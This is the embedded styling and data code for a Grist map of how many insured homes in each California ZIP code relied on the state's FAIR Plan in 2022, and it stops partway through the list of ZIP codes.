.gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__zero{stroke:#888888;stroke-width:1;stroke-dasharray:4 4} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__line{fill:none;stroke-linecap:round;stroke-linejoin:round} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__line-halo{fill:none;stroke:var(--gv-halo);stroke-width:7;stroke-linecap:round;stroke-linejoin:round} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__segment{stroke:var(--gv-halo);stroke-width:1} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__point{fill-opacity:0.85;stroke:var(--gv-halo);stroke-width:1} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__ring{fill:none;stroke:var(--gv-text);stroke-width:1.5} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__dot{stroke:var(--gv-halo);stroke-width:1.7} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__dot--pulse{transform-box:fill-box;transform-origin:center;animation:gv-data-dyrj5-hd8w-tep0u2-pulse 1.6s ease-in-out infinite} @keyframes gv-data-dyrj5-hd8w-tep0u2-pulse{0%,100%{transform:scale(1)}50%{transform:scale(1.2)}} @media (prefers-reduced-motion:reduce){.gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__dot--pulse{animation:none}} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__value-label{font-size:12px;paint-order:stroke fill;stroke:var(--gv-halo);stroke-width:3px;stroke-linejoin:round} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__axis-title{font-size:12px;fill:var(--gv-text-2)} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__direct-label{font-size:13px;font-weight:700;paint-order:stroke fill;stroke:var(--gv-halo);stroke-width:3px;stroke-linejoin:round} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__donut-title{font-size:16px;font-weight:700;fill:var(--gv-text)} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__slice{stroke:var(--gv-halo);stroke-width:1.5} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__slice-label{font-size:14px;font-weight:700;fill:#FFFFFF;paint-order:stroke fill;stroke:rgba(0,0,0,0.25);stroke-width:2px;pointer-events:none} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__slope-head{font-size:14px;font-weight:700;fill:var(--gv-text)} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__slope-axis{stroke:var(--gv-grid);stroke-width:1} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__slope-line{stroke-linecap:round} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__slope-label{fill:var(--gv-text);paint-order:stroke fill;stroke:var(--gv-halo);stroke-width:3px;stroke-linejoin:round} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__dumbbell{stroke:#C9C5BD;stroke-width:3;stroke-linecap:round} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2.gv-data-dyrj5-hd8w-tep0u2--dark .gv-data-dyrj5-hd8w-tep0u2__dumbbell{stroke:#6B665E} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__cat-label{fill:var(--gv-text)} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__overlay{fill:transparent;pointer-events:all} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__rule{stroke:var(--gv-text-2);stroke-width:1;stroke-dasharray:2 3} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__tooltip{position:absolute;display:none;pointer-events:none;z-index:5;min-width:120px;max-width:260px;padding:6px 9px;background:rgba(255,255,255,0.9);border:2px solid #888888;border-radius:4px;font-size:13px;line-height:1.35;color:#3C3830} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2.gv-data-dyrj5-hd8w-tep0u2--dark .gv-data-dyrj5-hd8w-tep0u2__tooltip{background:rgba(28,27,25,0.94);color:#F0EDE6} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__tip-title{font-weight:700;margin:0 0 3px} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__tip-row{display:flex;align-items:center;gap:6px} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__tip-row i{display:block;flex:none;width:10px;height:10px;border-radius:2px} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__tip-row span{flex:1} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__tip-row b{font-weight:700;white-space:nowrap} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__tip-more{color:var(--gv-text-2);font-size:12px;margin-top:2px} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__note{color:var(--gv-text-2);font-size:12px;font-style:italic;line-height:1.35;margin:8px 0 0;padding:0} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__footer{display:flex;justify-content:space-between;align-items:flex-end;gap:16px;margin:8px 0 0} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__credits{display:flex;flex-direction:column} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__source{color:var(--gv-text-2);font-size:12px;line-height:1.35;display:inline-block} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__credit{color:var(--gv-text-2);font-size:12px;line-height:1.35;margin-top:3px;font-style:italic;font-weight:700;display:inline-block} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__credit .gv-data-dyrj5-hd8w-tep0u2__credit-link{color:inherit;font:inherit;text-decoration:underline;text-decoration-thickness:1px;text-underline-offset:2px;border:0;box-shadow:none;background:none} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__logo{display:block;height:auto;max-width:62px;min-width:50px;width:62px;margin:0 0 0 auto;padding:0;transform:translateY(-2px);overflow:visible} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__logo path{fill:var(--gv-text)} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__logos{display:flex;align-items:center;gap:14px;margin-left:auto;flex-wrap:wrap;justify-content:flex-end} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__logos .gv-data-dyrj5-hd8w-tep0u2__logo{margin:0} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__partner{display:block;margin:0;padding:0;border:0;line-height:0} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__partner img{display:block;height:22px;width:auto;max-width:110px;margin:0;padding:0;border:0;box-shadow:none;object-fit:contain} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2.gv-data-dyrj5-hd8w-tep0u2--dark .gv-data-dyrj5-hd8w-tep0u2__partner--invert img{filter:brightness(0) invert(1)} @media (max-width:600px){.gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__title{font-size:21px}.gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__subtitle{font-size:16px}.gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__legend{font-size:13px}.gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__ticks text{font-size:12px}.gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__logo{width:50px}} Cover band Share of insured homes in each California ZIP code covered by the state's FAIR Plan, 2022 ZIP code areas are Census Bureau approximations; boundaries in rural areas are imprecise. Source: CA Department of Insurance / Stanford Climate and Energy Policy Program Clayton Aldern / Grist (function(){ var K="__gv_data_dyrj5_hd8w_tep0u2_initialized__";if(window[K])return;window[K]=true; var ID="gv-data-dyrj5-hd8w-tep0u2"; var SPEC={"version":1,"slug":"data-dyrj5-hd8w-tep0u2","type":"map-zips","data":{"xKind":"category","x":["ZIP 94501","ZIP 94502","ZIP 94536","ZIP 94538","ZIP 94539","ZIP 94541","ZIP 94542","ZIP 94544","ZIP 94545","ZIP 94546","ZIP 94550","ZIP 94551","ZIP 94552","ZIP 94555","ZIP 94560","ZIP 94566","ZIP 94568","ZIP 94577","ZIP 94578","ZIP 94579","ZIP 94580","ZIP 94586","ZIP 94587","ZIP 94588","ZIP 94601","ZIP 94602","ZIP 94603","ZIP 94605","ZIP 94606","ZIP 94607","ZIP 94608","ZIP 94609","ZIP 94610","ZIP 94611","ZIP 94612","ZIP 94618","ZIP 94619","ZIP 94621","ZIP 94702","ZIP 94703","ZIP 94704","ZIP 94705","ZIP 94706","ZIP 94707","ZIP 94708","ZIP 94709","ZIP 94710","ZIP 94720","ZIP 95364","ZIP 96120","ZIP 95601","ZIP 95629","ZIP 95640","ZIP 95642","ZIP 95665","ZIP 95666","ZIP 95669","ZIP 95685","ZIP 95689","ZIP 95699","ZIP 95914","ZIP 95916","ZIP 95917","ZIP 95926","ZIP 95928","ZIP 95930","ZIP 95938","ZIP 95941","ZIP 95942","ZIP 95948","ZIP 95954","ZIP 95965","ZIP 95966","ZIP 95968","ZIP 95969","ZIP 95973","ZIP 95222","ZIP 95223","ZIP 95225","ZIP 95226","ZIP 95228","ZIP 95232","ZIP 95245","ZIP 95246","ZIP 95247","ZIP 95249","ZIP 95251","ZIP 95252","ZIP 95254","ZIP 95255","ZIP 95257","ZIP 95912","ZIP 95932","ZIP 95955","ZIP 95970","ZIP 95979","ZIP 95987","ZIP 94505","ZIP 94506","ZIP 94507","ZIP 94509","ZIP 94511","ZIP 94513","ZIP 94514","ZIP 94517","ZIP 94518","ZIP 94519","ZIP 94520","ZIP 94521","ZIP 94523","ZIP 94525","ZIP 94526","ZIP 94528","ZIP 94530","ZIP 94531","ZIP 94547","ZIP 94549","ZIP 94553","ZIP 94556","ZIP 94561","ZIP 94563","ZIP 94564","ZIP 94565","ZIP 94569","ZIP 94572","ZIP 94582","ZIP 94583","ZIP 94595","ZIP 94596","ZIP 94597","ZIP 94598","ZIP 94801","ZIP 94803","ZIP 94804","ZIP 94805","ZIP 94806","ZIP 95531","ZIP 95543","ZIP 95548","ZIP 95567","ZIP 95614","ZIP 95619","ZIP 95623","ZIP 95633","ZIP 95634","ZIP 95635","ZIP 95636","ZIP 95651","ZIP 95664","ZIP 95667","ZIP 95672","ZIP 95682","ZIP 95684","ZIP 95709","ZIP 95720","ZIP 95721","ZIP 95726","ZIP 95735","ZIP 95762","ZIP 96142","ZIP 96150","ZIP 93210","ZIP 93234","ZIP 93242","ZIP 93602","ZIP 93606","ZIP 93608","ZIP 93609","ZIP 93611","ZIP 93612","ZIP 93616","ZIP 93619","ZIP 93621","ZIP 93622","ZIP 93624","ZIP 93625","ZIP 93626","ZIP 93627","ZIP 93628","ZIP 93630","ZIP 93631","ZIP 93633","ZIP 93634","ZIP 93640","ZIP 93641","ZIP 93646","ZIP 93648","ZIP 93650","ZIP 93651","ZIP 93652","ZIP 93654","ZIP 93656","ZIP 93657","ZIP 93660","ZIP 93662","ZIP 93664","ZIP 93667","ZIP 93668","ZIP 93675","ZIP 93701","ZIP 93702","ZIP 93703","ZIP 93704","ZIP 93705","ZIP 93706","ZIP 93710","ZIP 93711","ZIP 93720","ZIP 93721","ZIP 93722","ZIP 93723","ZIP 93725","ZIP 93726","ZIP 93727","ZIP 93728","ZIP 93730","ZIP 93737","ZIP 95920","ZIP 95939","ZIP 95951","ZIP 95963","ZIP 95988","ZIP 95501","ZIP 95503","ZIP 95511","ZIP 95514","ZIP 95519","ZIP 95521","ZIP 95524","ZIP 95525","ZIP 95528","ZIP 95536","ZIP 95540","ZIP 95542","ZIP 95546","ZIP 95547","ZIP 95549","ZIP 95550","ZIP 95551","ZIP 95554","ZIP 95555","ZIP 95556","ZIP 95558","ZIP 95560","ZIP 95562","ZIP 95564","ZIP 95565","ZIP 95569","ZIP 95570","ZIP 95573","ZIP 95589","ZIP 92227","ZIP 92231","ZIP 92233","ZIP 92243","ZIP 92249","ZIP 92250","ZIP 92251","ZIP 92257","ZIP 92259","ZIP 92266","ZIP 92273","ZIP 92275","ZIP 92281","ZIP 92283","ZIP 92389","ZIP 93513","ZIP 93514","ZIP 93526","ZIP 93545","ZIP 93549","ZIP 93203","ZIP 93205","ZIP 93206","ZIP 93215","ZIP 93222","ZIP 93224","ZIP 93225","ZIP 93226","ZIP 93238","ZIP 93240","ZIP 93241","ZIP 93243","ZIP 93249","ZIP 93250","ZIP 93252","ZIP 93255","ZIP 93263","ZIP 93268","ZIP 93276","ZIP 93280","ZIP 93283","ZIP 93285","ZIP 93287","ZIP 93301","ZIP 93304","ZIP 93305","ZIP 93306","ZIP 93307","ZIP 93308","ZIP 93309","ZIP 93311","ZIP 93312","ZIP 93313","ZIP 93314","ZIP 93501","ZIP 93505","ZIP 93516","ZIP 93518","ZIP 93523","ZIP 93527","ZIP 93528","ZIP 93531","ZIP 93555","ZIP 93560","ZIP 93561","ZIP 93202","ZIP 93204","ZIP 93212","ZIP 93230","ZIP 93239","ZIP 93245","ZIP 95422","ZIP 95423","ZIP 95426","ZIP 95443","ZIP 95451","ZIP 95453","ZIP 95457","ZIP 95458","ZIP 95461","ZIP 95464","ZIP 95467","ZIP 95485","ZIP 95493","ZIP 97635","ZIP 96009","ZIP 96056","ZIP 96109","ZIP 96113","ZIP 96114","ZIP 96117","ZIP 96119","ZIP 96121","ZIP 96123","ZIP 96128","ZIP 96130","ZIP 96132","ZIP 96136","ZIP 90001","ZIP 90002","ZIP 90003","ZIP 90004","ZIP 90005","ZIP 90006","ZIP 90007","ZIP 90008","ZIP 90011","ZIP 90012","ZIP 90013","ZIP 90014","ZIP 90015","ZIP 90016","ZIP 90017","ZIP 90018","ZIP 90019","ZIP 90020","ZIP 90021","ZIP 90022","ZIP 90023","ZIP 90024","ZIP 90025","ZIP 90026","ZIP 90027","ZIP 90028","ZIP 90029","ZIP 90031","ZIP 90032","ZIP 90033","ZIP 90034","ZIP 90035","ZIP 90036","ZIP 90037","ZIP 90038","ZIP 90039","ZIP 90040","ZIP 90041","ZIP 90042","ZIP 90043","ZIP 90044","ZIP 90045","ZIP 90046","ZIP 90047","ZIP 90048","ZIP 90049","ZIP 90056","ZIP 90057","ZIP 90058","ZIP 90059","ZIP 90061","ZIP 90062","ZIP 90063","ZIP 90064","ZIP 90065","ZIP 90066","ZIP 90067","ZIP 90068","ZIP 90069","ZIP 90071","ZIP 90077","ZIP 90089","ZIP 90094","ZIP 90095","ZIP 90201","ZIP 90210","ZIP 90211","ZIP 90212","ZIP 90220","ZIP 90221","ZIP 90222","ZIP 90230","ZIP 90232","ZIP 90240","ZIP 90241","ZIP 90242","ZIP 90245","ZIP 90247","ZIP 90248","ZIP 90249","ZIP 90250","ZIP 90254","ZIP 90255","ZIP 90260","ZIP 90262","ZIP 90265","ZIP 90266","ZIP 90270","ZIP 90272","ZIP 90274","ZIP 90275","ZIP 90277","ZIP 90278","ZIP 90280","ZIP 90290","ZIP 90291","ZIP 90292","ZIP 90293","ZIP 90301","ZIP 90302","ZIP 90303","ZIP 90304","ZIP 90305","ZIP 90401","ZIP 90402","ZIP 90403","ZIP 90404","ZIP 90405","ZIP 90501","ZIP 90502","ZIP 90503","ZIP 90504","ZIP 90505","ZIP 90601","ZIP 90602","ZIP 90603","ZIP 90604","ZIP 90605","ZIP 90606","ZIP 90638","ZIP 90640","ZIP 90650","ZIP 90660","ZIP 90670","ZIP 90701","ZIP 90703","ZIP 90704","ZIP 90706","ZIP 90710","ZIP 90712","ZIP 90713","ZIP 90715","ZIP 90716","ZIP 90717","ZIP 90723","ZIP 90731","ZIP 90732","ZIP 90744","ZIP 90745","ZIP 90746","ZIP 90755","ZIP 90802","ZIP 90803","ZIP 90804","ZIP 90805","ZIP 90806","ZIP 90807","ZIP 90808","ZIP 90810","ZIP 90813","ZIP 90814","ZIP 90815","ZIP 91001","ZIP 91006","ZIP 91007","ZIP 91008","ZIP 91010","ZIP 91011","ZIP 91016","ZIP 91020","ZIP 91024","ZIP 91030","ZIP 91040","ZIP 91042","ZIP 91101","ZIP 91103","ZIP 91104","ZIP 91105","ZIP 91106","ZIP 91107","ZIP 91108","ZIP 91201","ZIP 91202","ZIP 91203","ZIP 91204","ZIP 91205","ZIP 91206","ZIP 91207","ZIP 91208","ZIP 91214","ZIP 91301","ZIP 91302","ZIP 91303","ZIP 91304","ZIP 91306","ZIP 91307","ZIP 91311","ZIP 91316","ZIP 91321","ZIP 91324","ZIP 91325","ZIP 91326","ZIP 91330","ZIP 91331","ZIP 91335","ZIP 91340","ZIP 91342","ZIP 91343","ZIP 91344","ZIP 91345","ZIP 91350","ZIP 91351","ZIP 91352","ZIP 91354","ZIP 91355","ZIP 91356","ZIP 91364","ZIP 91367","ZIP 91381","ZIP 91384","ZIP 91387","ZIP 91390","ZIP 91401","ZIP 91402","ZIP 91403","ZIP 91405","ZIP 91406","ZIP 91411","ZIP 91423","ZIP 91436","ZIP 91501","ZIP 91502","ZIP 91504","ZIP 91505","ZIP 91506","ZIP 91601","ZIP 91602","ZIP 91604","ZIP 91605","ZIP 91606","ZIP 91607","ZIP 91702","ZIP 91706","ZIP 91711","ZIP 91722","ZIP 91723","ZIP 91724","ZIP 91731","ZIP 91732","ZIP 91733","ZIP 91740","ZIP 91741","ZIP 91744","ZIP 91745","ZIP 91746","ZIP 91748","ZIP 91750","ZIP 91754","ZIP 91755","ZIP 91765","ZIP 91766","ZIP 91767","ZIP 91768","ZIP 91770","ZIP 91773","ZIP 91775","ZIP 91776","ZIP 91780","ZIP 91789","ZIP 91790","ZIP 91791","ZIP 91792","ZIP 91801","ZIP 91803","ZIP 93510","ZIP 93532","ZIP 93534","ZIP 93535","ZIP 93536","ZIP 93543","ZIP 93544","ZIP 93550","ZIP 93551","ZIP 93552","ZIP 93553","ZIP 93563","ZIP 93591","ZIP 93601","ZIP 93604","ZIP 93610","ZIP 93614","ZIP 93636","ZIP 93637","ZIP 93638","ZIP 93643","ZIP 93644","ZIP 93645","ZIP 93653","ZIP 93669","ZIP 94901","ZIP 94903","ZIP 94904","ZIP 94920","ZIP 94924","ZIP 94925","ZIP 94929","ZIP 94930","ZIP 94933","ZIP 94937","ZIP 94938","ZIP 94939","ZIP 94940","ZIP 94941","ZIP 94945","ZIP 94946","ZIP 94947","ZIP 94949","ZIP 94956","ZIP 94957","ZIP 94960","ZIP 94963","ZIP 94965","ZIP 94970","ZIP 94971","ZIP 94973","ZIP 93623","ZIP 95306","ZIP 95311","ZIP 95318","ZIP 95338","ZIP 95345","ZIP 95389","ZIP 95410","ZIP 95415","ZIP 95417","ZIP 95420","ZIP 95427","ZIP 95428","ZIP 95429","ZIP 95432","ZIP 95437","ZIP 95445","ZIP 95449","ZIP 95454","ZIP 95456","ZIP 95459","ZIP 95460","ZIP 95463","ZIP 95466","ZIP 95468","ZIP 95469","ZIP 95470","ZIP 95482","ZIP 95488","ZIP 95490","ZIP 95494","ZIP 95585","ZIP 95587","ZIP 93620","ZIP 93635","ZIP 95301","ZIP 95303","ZIP 95315","ZIP 95317","ZIP 95322","ZIP 95324","ZIP 95333","ZIP 95334","ZIP 95340","ZIP 95341","ZIP 95348","ZIP 95365","ZIP 95369","ZIP 95374","ZIP 95388","ZIP 96006","ZIP 96015","ZIP 96054","ZIP 96101","ZIP 96104","ZIP 96108","ZIP 96110","ZIP 96112","ZIP 96115","ZIP 96116","ZIP 93512","ZIP 93517","ZIP 93529","ZIP 93541","ZIP 93546","ZIP 96107","ZIP 96133","ZIP 93426","ZIP 93450","ZIP 93901","ZIP 93905","ZIP 93906","ZIP 93907","ZIP 93908","ZIP 93920","ZIP 93923","ZIP 93924","ZIP 93925","ZIP 93926","ZIP 93927","ZIP 93930","ZIP 93932","ZIP 93933","ZIP 93940","ZIP 93950","ZIP 93953","ZIP 93954","ZIP 93955","ZIP 93960","ZIP 93962","ZIP 95004","ZIP 95012","ZIP 95039","ZIP 94503","ZIP 94508","ZIP 94515","ZIP 94558","ZIP 94559","ZIP 94567","ZIP 94574","ZIP 94576","ZIP 94599","ZIP 95728","ZIP 95945","ZIP 95946","ZIP 95949","ZIP 95959","ZIP 95960","ZIP 95975","ZIP 95977","ZIP 96111","ZIP 96161","ZIP 90620","ZIP 90621","ZIP 90623","ZIP 90630","ZIP 90631","ZIP 90680","ZIP 90720","ZIP 90740","ZIP 90742","ZIP 90743","ZIP 92602","ZIP 92603","ZIP 92604","ZIP 92606","ZIP 92610","ZIP 92612","ZIP 92614","ZIP 92617","ZIP 92618","ZIP 92620","ZIP 92624","ZIP 92625","ZIP 92626","ZIP 92627","ZIP 92629","ZIP 92630","ZIP 92637","ZIP 92646","ZIP 92647","ZIP 92648","ZIP 92649","ZIP 92651","ZIP 92653","ZIP 92655","ZIP 92656","ZIP 92657","ZIP 92660","ZIP 92661","ZIP 92662","ZIP 92663","ZIP 92672","ZIP 92673","ZIP 92675","ZIP 92676","ZIP 92677","ZIP 92679","ZIP 92683","ZIP 92688","ZIP 92691","ZIP 92692","ZIP 92694","ZIP 92701","ZIP 92703","ZIP 92704","ZIP 92705","ZIP 92706","ZIP 92707","ZIP 92708","ZIP 92780","ZIP 92782","ZIP 92801","ZIP 92802","ZIP 92804","ZIP 92805","ZIP 92806","ZIP 92807","ZIP 92808","ZIP 92821","ZIP 92823","ZIP 92831","ZIP 92832","ZIP 92833","ZIP 92835","ZIP 92840","ZIP 92841","ZIP 92843","ZIP 92844","ZIP 92845","ZIP 92861","ZIP 92865","ZIP 92866","ZIP 92867","ZIP 92868","ZIP 92869","ZIP 92870","ZIP 92886","ZIP 92887","ZIP 95602","ZIP 95603","ZIP 95631","ZIP 95648","ZIP 95650","ZIP 95658","ZIP 95661","ZIP 95663","ZIP 95677","ZIP 95678","ZIP 95681","ZIP 95701","ZIP 95703","ZIP 95713","ZIP 95714","ZIP 95715","ZIP 95717","ZIP 95722","ZIP 95736","ZIP 95746","ZIP 95747","ZIP 95765","ZIP 96140","ZIP 96141","ZIP 96143","ZIP 96145","ZIP 96146","ZIP 96148","ZIP 95915","ZIP 95923","ZIP 95934","ZIP 95947","ZIP 95956","ZIP 95971","ZIP 95983","ZIP 95984","ZIP 96020","ZIP 96063","ZIP 96103","ZIP 96105","ZIP 96106","ZIP 96122","ZIP 96129","ZIP 96137","ZIP 91752","ZIP 92201","ZIP 92203","ZIP 92210","ZIP 92211","ZIP 92220","ZIP 92223","ZIP 92225","ZIP 92230","ZIP 92234","ZIP 92236","ZIP 92239","ZIP 92240","ZIP 92241","ZIP 92253","ZIP 92254","ZIP 92258","ZIP 92260","ZIP 92262","ZIP 92264","ZIP 92270","ZIP 92274","ZIP 92276","ZIP 92282","ZIP 92320","ZIP 92501","ZIP 92503","ZIP 92504","ZIP 92505","ZIP 92506","ZIP 92507","ZIP 92508","ZIP 92509","ZIP 92518","ZIP 92530","ZIP 92532","ZIP 92536","ZIP 92539","ZIP 92543","ZIP 92544","ZIP 92545","ZIP 92548","ZIP 92549","ZIP 92551","ZIP 92553","ZIP 92555","ZIP 92557","ZIP 92561","ZIP 92562","ZIP 92563","ZIP 92567","ZIP 92570","ZIP 92571","ZIP 92582","ZIP 92583","ZIP 92584","ZIP 92585","ZIP 92586","ZIP 92587","ZIP 92590","ZIP 92591","ZIP 92592","ZIP 92595","ZIP 92596","ZIP 92860","ZIP 92879","ZIP 92880","ZIP 92881","ZIP 92882","ZIP 92883","ZIP 95608","ZIP 95610","ZIP 95615","ZIP 95621","ZIP 95624","ZIP 95626","ZIP 95628","ZIP 95630","ZIP 95632","ZIP 95638","ZIP 95641","ZIP 95655","ZIP 95660","ZIP 95662","ZIP 95670","ZIP 95673","ZIP 95683","ZIP 95690","ZIP 95693","ZIP 95742","ZIP 95757","ZIP 95758","ZIP 95811","ZIP 95814","ZIP 95815","ZIP 95816","ZIP 95817","ZIP 95818","ZIP 95819","ZIP 95820","ZIP 95821","ZIP 95822","ZIP 95823","ZIP 95824","ZIP 95825","ZIP 95826","ZIP 95827","ZIP 95828","ZIP 95829","ZIP 95830","ZIP 95831","ZIP 95832","ZIP 95833","ZIP 95834","ZIP 95835","ZIP 95837","ZIP 95838","ZIP 95841","ZIP 95842","ZIP 95843","ZIP 95864","ZIP 95023","ZIP 95043","ZIP 95045","ZIP 95075","ZIP 91701","ZIP 91708","ZIP 91709","ZIP 91710","ZIP 91730","ZIP 91737","ZIP 91739","ZIP 91759","ZIP 91761","ZIP 91762","ZIP 91763","ZIP 91764","ZIP 91784","ZIP 91786","ZIP 92242","ZIP 92252","ZIP 92256","ZIP 92267","ZIP 92268","ZIP 92277","ZIP 92280","ZIP 92284","ZIP 92285","ZIP 92301","ZIP 92304","ZIP 92305","ZIP 92307","ZIP 92308","ZIP 92309","ZIP 92311","ZIP 92313","ZIP 92314","ZIP 92315","ZIP 92316","ZIP 92317","ZIP 92321","ZIP 92322","ZIP 92324","ZIP 92325","ZIP 92327","ZIP 92332","ZIP 92333","ZIP 92335","ZIP 92336","ZIP 92337","ZIP 92338","ZIP 92339","ZIP 92341","ZIP 92342","ZIP 92344","ZIP 92345","ZIP 92346","ZIP 92347","ZIP 92352","ZIP 92354","ZIP 92356","ZIP 92358","ZIP 92359","ZIP 92363","ZIP 92364","ZIP 92365","ZIP 92368","ZIP 92371","ZIP 92372","ZIP 92373","ZIP 92374","ZIP 92376","ZIP 92377","ZIP 92378","ZIP 92382","ZIP 92385","ZIP 92386","ZIP 92391","ZIP 92392","ZIP 92394","ZIP 92395","ZIP 92397","ZIP 92398","ZIP 92399","ZIP 92401","ZIP 92404","ZIP 92405","ZIP 92407","ZIP 92408","ZIP 92410","ZIP 92411","ZIP 93558","ZIP 93562","ZIP 91901","ZIP 91902","ZIP 91905","ZIP 91906","ZIP 91910","ZIP 91911","ZIP 91913","ZIP 91914","ZIP 91915","ZIP 91916","ZIP 91917","ZIP 91931","ZIP 91932","ZIP 91934","ZIP 91935","ZIP 91941","ZIP 91942","ZIP 91945","ZIP 91950","ZIP 91962","ZIP 91963","ZIP 91977","ZIP 91978","ZIP 91980","ZIP 92003","ZIP 92004","ZIP 92007","ZIP 92008","ZIP 92009","ZIP 92010","ZIP 92011","ZIP 92014","ZIP 92019","ZIP 92020","ZIP 92021","ZIP 92024","ZIP 92025","ZIP 92026","ZIP 92027","ZIP 92028","ZIP 92029","ZIP 92036","ZIP 92037","ZIP 92040","ZIP 92054","ZIP 92055","ZIP 92056","ZIP 92057","ZIP 92058","ZIP 92059","ZIP 92060","ZIP 92061","ZIP 92064","ZIP 92065","ZIP 92066","ZIP 92067","ZIP 92069","ZIP 92070","ZIP 92071","ZIP 92075","ZIP 92078","ZIP 